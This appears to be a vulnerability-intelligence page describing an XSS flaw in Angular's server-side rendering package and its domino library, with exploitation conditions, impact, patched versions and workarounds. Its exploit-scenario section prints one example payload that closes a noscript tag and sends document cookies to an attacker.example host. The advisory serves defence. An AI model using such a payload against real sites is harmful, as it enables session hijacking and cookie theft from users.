Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessAttacker submits input with injected closing tag
-
DeliveryApplication binds input into SSR <noscript>/<iframe> template element
-
Exploitdomino serializes unescaped closing tag into HTML output
-
ExecutionCritical CSS inlining triggers domino re-parse without raw-text state
-
PersistInjected closing tag breaks element boundary
-
ImpactAppended script block executes in victim browser
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires all of the following conditions simultaneously: (1) the target application uses @angular/platform-server for Server-Side Rendering; (2) at least one Angular template binds user-controlled data inside an <iframe>, <noembed>, <noframes>, or <noscript> element using Angular interpolation or property binding; (3) critical CSS inlining is enabled (the Angular default, inlineCritical: true) or the raw SSR output is otherwise processed by domino without preserving raw-text parser state. What limits exploitation: applications that do not use Angular SSR at all are entirely unaffected; applications that never bind user input into these four specific element types are unaffected regardless of SSR configuration; disabling inlineCritical eliminates the triggering re-parse step; sanitizing or HTML-encoding user input before template binding blocks injection. Applications on Angular 19.x and earlier share the same exploitation conditions and have no vendor-released patch. |
| Impact | No CVSS score or vector is supplied in the source data, so risk is assessed entirely from the vulnerability description and exploitation conditions. The attack is network-accessible and requires no authentication at the framework level, but exploitation has a meaningful prerequisite: the Angular SSR application must bind user-controlled data inside <iframe>, <noembed>, <noframes>, or <noscript> elements via Angular template syntax, which is an atypical coding pattern that materially constrains the practical attack surface. EPSS data is absent from the input and cannot be cited. The vulnerability is not listed in CISA KEV, and no public proof-of-concept has been identified, consistent with the specialized exploitation conditions. Angular 19.x and earlier receive no backport patch, creating a persistent residual risk for organizations unable or unwilling to upgrade. Critical CSS inlining (Angular's default) acts as an amplifier: even if the initial SSR serialization were safe, domino's re-parse during post-processing can trigger the flaw independently, meaning defenders cannot assume the initial render path alone is the only attack surface. The overall risk is moderate - high impact if exploited (session hijacking, credential theft), but limited real-world exposure due to the non-default application coding pattern required. |
| Exploit ScenarioDerived | An attacker submits a profile field or comment containing a string such as '</noscript><script>document.location="https://attacker.example/?c="+document.cookie</script>' to a web application that reflects user input into a <noscript> Angular SSR template binding. During rendering, domino serializes the unescaped closing tag directly into the HTML stream; when critical CSS inlining re-parses the page, the injected </noscript> closes the element early and the appended script block executes in every victim browser that loads the page, exfiltrating session cookies to the attacker. No public proof-of-concept code has been identified at time of analysis. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Aug 03, 2026
Cross-site scripting in @angular/platform-server's domino DOM emulation library allows attackers to inject executable script blocks into SSR-rendered HTML by supplying closing-tag sequences inside user-controlled data bound to <iframe>, <noembed>, <noframes>, or <noscript> Angular template elements. Angular 20.x through 22.x applications using Server-Side Rendering that reflect user input into these specific fallback raw-content elements are affected; Angular 19.x and earlier receive no backport patch. No public exploit has been identified at time of analysis, though the mechanism is straightforward once the vulnerable application pattern is present, and patches are available across three supported Angular branches.
RemediationAI
Upgrade @angular/platform-server to a patched release: 22.0.7 for Angular 22.x users, 21.2.19 for Angular 21.x users, or 20.3.27 for Angular 20.x users, as documented at https://github.com/angular/angular/security/advisories/GHSA-vpx6-8pjr-4g3v. Angular 19.x and earlier have no vendor-released patch; applications on those versions should migrate to a supported major branch. If immediate upgrade is not feasible, disable critical CSS inlining by setting inlineCritical: false under optimization.styles in angular.json, or passing inlineCriticalCss: false to CommonEngine.render() - this prevents domino from re-parsing the SSR output during post-processing, removing the triggering re-parse step (trade-off: slightly larger initial HTML payload due to non-inlined critical CSS). Alternatively, audit templates to ensure user-controlled values are never bound inside <iframe>, <noembed>, <noframes>, or <noscript> elements, or explicitly sanitize such values to strip or HTML-encode closing tag sequences before they reach the Angular template. Patch refs: https://github.com/angular/angular/pull/69675, https://github.com/angular/angular/pull/69714, https://github.com/angular/domino/pull/32.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 7 packages in npm, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The root cause (CWE-79: Improper Neutralization of Input During Web Page Generation) resides in domino, the headless DOM emulation library bundled by @angular/platform-server for SSR. Affected packages per npm PURL are pkg:npm/@angular/platform-server across versions 20.0.0-next.0 through 22.0.6. In a real browser with scripting enabled, <iframe>, <noembed>, <noframes>, and <noscript> are treated as fallback raw-content elements whose child text is parsed verbatim, making embedded closing tags structurally inert. Domino mimics scripting-enabled behavior and likewise treats these as raw-text elements during rendering - but its serializer did not apply HTML-entity escaping to text nodes inside them when converting the DOM back to a string. During critical CSS inlining, Angular SSR's default post-processing step, domino re-parses the serialized HTML output without preserving raw-text parser state, so any attacker-injected closing tag sequence is reinterpreted as structural HTML, enabling early element termination and script injection. The fix in domino PR #32 and commit f88e5aa49cf2804d7c2df22ef1640eb4ec43dd56 introduces escapeFallbackRawText(), which HTML-encodes closing tag occurrences within these elements; Angular PRs #69675, #69714, #69929, and #69930 integrate the patched domino into Angular's build pipeline.
Know when the next one hits your stack
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
Network-exploitable XSS with no attacker privileges; victim must visit the page; scope changes to browser context; no availability impact.
Primary rating from Vendor (https://github.com/angular/angular).
CVSS VectorVendor: https://github.com/angular/angular
DescriptionCVE.org
A Cross-Site Scripting (XSS) vulnerability exists in @angular/platform-server's DOM emulation dependency (domino) when serializing the content of fallback raw-content elements (<iframe>, <noembed>, <noframes>, and <noscript>).
When rendering dynamic text content inside fallback raw-content elements via template bindings, the template engine expects the browser to render the content safely. Under Server-Side Rendering (SSR), domino is configured with scripting enabled, meaning these elements are treated as raw-text elements.
However, domino's serializer previously did not escape text nodes within fallback raw-content elements (<iframe>, <noembed>, <noframes>, <noscript>) during DOM serialization. As a result, any occurrence of closing tags in the bound dynamic text was not escaped.
The unescaped closing tag could be serialized directly into the output HTML. When parsed by a browser or re-parsed during SSR post-processing without preserving raw-content parser state, an injected closing tag closes the element early, allowing an injected script block to execute in the user's browser context, causing same-origin Cross-Site Scripting (XSS).
Impact
This vulnerability allows an attacker to perform same-origin Cross-Site Scripting (XSS) attacks against any user visiting an SSR-rendered page that binds user-controlled data inside fallback raw-content elements (<iframe>, <noembed>, <noframes>, <noscript>). This can lead to session hijacking, credentials theft, unauthorized actions on behalf of users, and defacement.
Patched Versions
- 22.0.7
- 21.2.19
- 20.3.27
Workarounds
If you cannot immediately update your dependencies, you can mitigate this issue using any of the following approaches:
- Disable critical CSS inlining: Critical CSS inlining in Angular SSR post-processes the rendered HTML using
domino. Disabling this step preventsdominofrom re-parsing and re-serializing the HTML during server-side rendering. - In
angular.json, setinlineCriticaltofalseunder style optimization options:
{
"projects": {
"my-app": {
"architect": {
"build": {
"builder": "@angular/build:application",
"options": {
"optimization": {
"styles": {
"inlineCritical": false
}
}
}
}
}
}
}
}- When rendering programmatically with
CommonEngine, setinlineCriticalCss: falsein your render options. - Avoid binding user-controlled values inside fallback raw-content elements (
<iframe>,<noembed>,<noframes>,<noscript>). - Sanitize user input placed inside these elements to explicitly strip or escape closing tags before passing it to the template.
Executive ViewAI
Angular applications using Server-Side Rendering (versions 20-22) can be exploited through user input injection, allowing attackers to execute scripts that compromise every end-user accessing the application, with no public exploit identified at time of analysis. Organizations using these affected versions face risks to customer session security, credential theft, and browser integrity if they render user-supplied content in certain template fallback elements.
Apply vendor patch.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
EUVD-2026-52350
GHSA-vpx6-8pjr-4g3v
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB